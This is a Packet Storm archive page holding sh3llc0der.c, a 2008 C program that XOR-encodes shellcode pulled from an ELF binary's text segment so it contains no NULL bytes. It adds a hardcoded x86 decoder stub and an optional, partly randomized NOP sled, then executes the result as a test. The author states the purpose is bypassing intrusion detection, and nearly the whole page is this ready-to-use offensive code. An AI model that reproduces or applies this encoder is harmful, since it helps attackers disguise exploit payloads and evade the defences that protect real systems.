exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

sh3llc0der.c

sh3llc0der.c
Posted Dec 9, 2008
Authored by sm4x

ELF binary shellcode encryptor that is NULL free for IDS payload bypassing.

tags | shellcode
SHA-256 | 7d6d93a6fc604b116de5293ac21af0daf772aaefb96c509fd6c1eeede743023b

sh3llc0der.c

Change Mirror Download
/*
* sm4x - 2008 => sm4x0rcist [a7] gmail [d07] com
* - sh3llc0der.c v0.1 (beta)
* - (elf binary) shellcode encryptor, NULL free for IDS payload bypassing
* - key is a simple int for x(x(p)) decryption(encryption(p)) (modify to add/subtract if needed)
* - if you find bugs i dont wanna know -> fix them and its urs
* - watch for 0x0a, 0x0d warnings for \r\n as they get mucked in most str** calls
*
* nb: nasm ur files with -felf, then ld -o them (u know)
* usage: ./sh3llc0der [options] binaryfile
* - output is a encoded byte array (or raw binary if -o <file> is specified)
* - it was easier for me to write it directly hooking to the elf struct -> but you can change it (only took 3 hours so ITS BUGGY!)
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <linux/elf.h>

char decoder[] = "\xeb\x10\x5e\x31\xc9"
"\xb1\x00\x80\x74\x0e" // \x00 location of payload size
"\xff\x00\xfe\xc9\x75" // \x00 location of xor key
"\xf7\xeb\x05\xe8\xeb"
"\xff\xff\xff";

int getkey(int i) {
int seed;
struct timeval tm;
gettimeofday(&tm, NULL);
seed = tm.tv_sec + tm.tv_usec; srandom(seed);
return (random() % i) +1;
}

void usage() {
printf("Usage: sh3llc0der [options] shellcode\n");
printf("\tv - verbose\n");
printf("\to [outfile] - out file (stdout is default)\n");
printf("\tn [size] - generate with NOP sled of size length (minus decoder)\n");
printf("\tr - randomize NOP sled with other operations\n");
printf("\t? - this crud\n");
}

int main(int argc, char **argv) {
Elf32_Ehdr elfhdr; Elf32_Phdr dataseg; Elf32_Phdr txtseg;

int found_txt_seg = 0; int i = 0; int r = 0; int len = 0; int key = 0;
int include_noop_instructions = 0; int noop_length = 0; int use_nop_randomization = 0;
int write_file = 0; int is_verbose = 0;
unsigned char c; unsigned char *b = NULL; unsigned char *nb = NULL;
char *upayload = NULL; char *outfile = NULL;
unsigned int payload_offset = 0; unsigned int payload_size = 0;
int (*func)();

opterr = 0; int option = 1;
while((option = getopt(argc, argv, "vrn:o:?")) != -1 ) {
switch(option) {
case 'v':
is_verbose = 1;
break;
case 'o':
write_file = 1;
outfile = optarg;
if(outfile != NULL) { printf("[+] writing shellcode to: %s\n", outfile); }
break;
case 'n':
if(optarg != NULL) noop_length = atoi(optarg); else break;
include_noop_instructions = 1;
break;
case 'r':
use_nop_randomization = 1;
break;
case '?':
usage(); exit(0);
break;
default:
// nothing
break;
};
}

if(argc < 2) { usage(); exit(0); }
printf("[+] sh3llc0der - sm4x 2008\n");

upayload = argv[argc-1]; if(upayload == outfile) { printf("[-] ummm no\n"); usage(); exit(-1); }

if(is_verbose) { printf("[?] opening %s\n", upayload); }
FILE *p = fopen(upayload, "rb");
if(p == NULL) { printf("[-] null file - nice try\n"); exit(-1); }

fseek(p, 0, SEEK_END);
len = ftell(p); rewind(p);
if(len <= 0) { printf("[-] 0 len file - nice try\n"); exit(-1); }

/* adjust our noop length for the decoder size */

if(include_noop_instructions && noop_length > sizeof(decoder)) { noop_length -= sizeof(decoder); }
printf("[+] shellcode length: %d Bytes\n", len);

b = (char *) malloc(sizeof(char)*len);
if(b == NULL) { printf("[-] unable to buffer shellcode - nice try again!\n"); exit(-1); }

if(is_verbose) { printf("[?] reading %s....\n", upayload); }
r = fread(b, 1, len, p);
if(r != len) { printf("[-] **warning** - unable to load the entire file into buffer!\n"); }
fclose(p); p = NULL;
if(is_verbose) { printf("[?] file %s seems ok with %d size\n", upayload, len); }

/* get our ELF header out of the binary */
memcpy(&elfhdr, (void *)b, sizeof(Elf32_Ehdr));

printf("[+] Starting address: 0x%x\n", elfhdr.e_entry);
/* seek to our offset */
printf("[+] Offset @ 0x%x\n", elfhdr.e_phoff);

/* loop for seg offset (you're gonna crash here if its not a proper elf binary -> don't really care!! lol) */
for(i = 0;i < elfhdr.e_phnum; i++) {
/* copy in our txtseg what we think* to be the appropriate header (p_offset == 0 means text) */
memcpy(&txtseg, &b[(sizeof(Elf32_Ehdr)) + (i * sizeof(Elf32_Phdr))], sizeof(Elf32_Phdr));
if(txtseg.p_filesz > 0 && txtseg.p_offset == 0) {
printf("[+] .text segment found, len: 0x%x|0x%x @ V:0x%x P:0x%x off: 0x%x\n",
txtseg.p_filesz, txtseg.p_memsz, txtseg.p_vaddr, txtseg.p_vaddr, txtseg.p_offset);
found_txt_seg = 1; break;
} else {
found_txt_seg = 0;
}
} if(!found_txt_seg) { printf("[-] could not find .text segment for encoding!\n"); exit(-1); }

/* calculations for start of .text with offset (usually 0) */
payload_size = (txtseg.p_vaddr + txtseg.p_filesz) - elfhdr.e_entry;
payload_offset = (txtseg.p_offset + txtseg.p_filesz) - payload_size;

printf("[+] calc offset: 0x%x | 0x%x -> (SHELLCODE SIZE: %d Bytes)\n", payload_offset, payload_size, payload_size);

int new_payload_size = noop_length+payload_size+sizeof(decoder)-1;

nb = (char *) malloc(sizeof(char) * new_payload_size);
if(nb == NULL) { printf("[-] error creating copy payload - nice try\n"); exit(-1); }
memset(nb, 0x0, sizeof(char) * new_payload_size); // just in case - clean it out

// ensure we have a NULL free xor'd shellcode -> keep trying until we do
int is_null = 0; int warn = 0; int attempts = 0;
while(1) {
if(attempts > 20) { printf("[-] somthing is very wrong!! please check the binary\n"); exit(-1); }
key = getkey(255);
for(i = 0; i < payload_size; i++) {
c = b[payload_offset+i]; c ^= key;
if(c == 0x00) { printf("[!] ERR: 0x%x on key: %d\n", b[payload_offset+i], key); is_null = 1; break; }
if(c == 0x0a || c == 0x0d) { printf("[!] WARN: 0x%x on key: %d\n", b[payload_offset+i], key); warn =1; }
} attempts++;
if(is_null) { printf("[-] NULL found.. regenerating now... try=%d\n", attempts); is_null = 0; usleep(100); continue; }

if(warn) { printf("[!] WARN: invalid hex was found in this shellcode -> this may* not pass some string functions!\n"); }
if(is_verbose) { printf("[?] running xor-enc on payload now (key=%d @ %x attempts)...\n", key, attempts); }

/* fill our new buffer -nb*/
for(i = 0; i < payload_size; i++) {
nb[noop_length+sizeof(decoder)-1+i] = b[payload_offset+i];
if(is_verbose) { printf("\\x%.2x", b[payload_offset+i]); }
nb[noop_length+sizeof(decoder)-1+i] ^= key;
} break;
} if(is_verbose) { printf("\n"); }
if(!warn) { printf("[+] done xor-enc on payload (NULL FREE)...\n"); } else { printf("[!] (check warnings!!) some problems with xor-enc (NULL FREE)...\n"); }

for(i = 0; i < noop_length+payload_size-1; i++) printf("\\x%.2x", nb[sizeof(decoder)+i]);

/* we need to set our primary instructions to decode with xor */
decoder[6] = payload_size; decoder[11] = key;

printf("\n");
if(include_noop_instructions) {
printf("[+] prepending %d (%d = minus decoder len) NOOPs...\n", noop_length+sizeof(decoder), noop_length);
// minus the decoder size
if(use_nop_randomization) {
for(i = 0; i < noop_length; i++) {
int p = getkey(5);
// hardly random - but change to modify the primary sled sig
switch((int)p) {
case 1: nb[i] = 0x90; break;
case 2: nb[i] = 0x40; nb[i+1] = 0x48; i++; break;
case 3: nb[i] = 0x50; break;
case 4: nb[i] = 0x58; break;
case 5: nb[i] = 0x99; break;
default: nb[i] = 0x90; break;
};
}
} else {
for(i = 0; i < noop_length; i++) nb[i] = 0x90;
}
}

printf("[+] adding decoder of %d Bytes (total= %d Bytes)...\n", sizeof(decoder), sizeof(decoder)+payload_size);
memcpy(nb+noop_length, decoder, sizeof(decoder)-1);
for(i = 0; i < noop_length+payload_size+sizeof(decoder)-1; i++) printf("\\x%.2x", nb[i]);
printf("\n");

if(write_file) {
printf("[+] writing payload to: %s\n", outfile);
FILE *w = fopen(outfile, "wb");
if(w == NULL) { printf("[-] Unable to open file: %s\n", outfile); goto continue_test; }
int bytes = fprintf(w, nb, sizeof(decoder)+payload_size, 0);
fclose(w);
printf("[+] done %d written.\n", bytes);
}

continue_test:
printf("[+] testing payload now ...\n");
printf("[-] if shellcode tests bad something has gone horribly wrong - do NOT continue with payload...\n");

/* if this mashes out ie: seg fault -> then DO NOT use the shellcode on an exploit -> ur gonna crash the shit */
func = (int (*)()) nb;
(int)(*func)();

// should never get here really

cleanup:
if(p != NULL) fclose(p);
return 0;
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close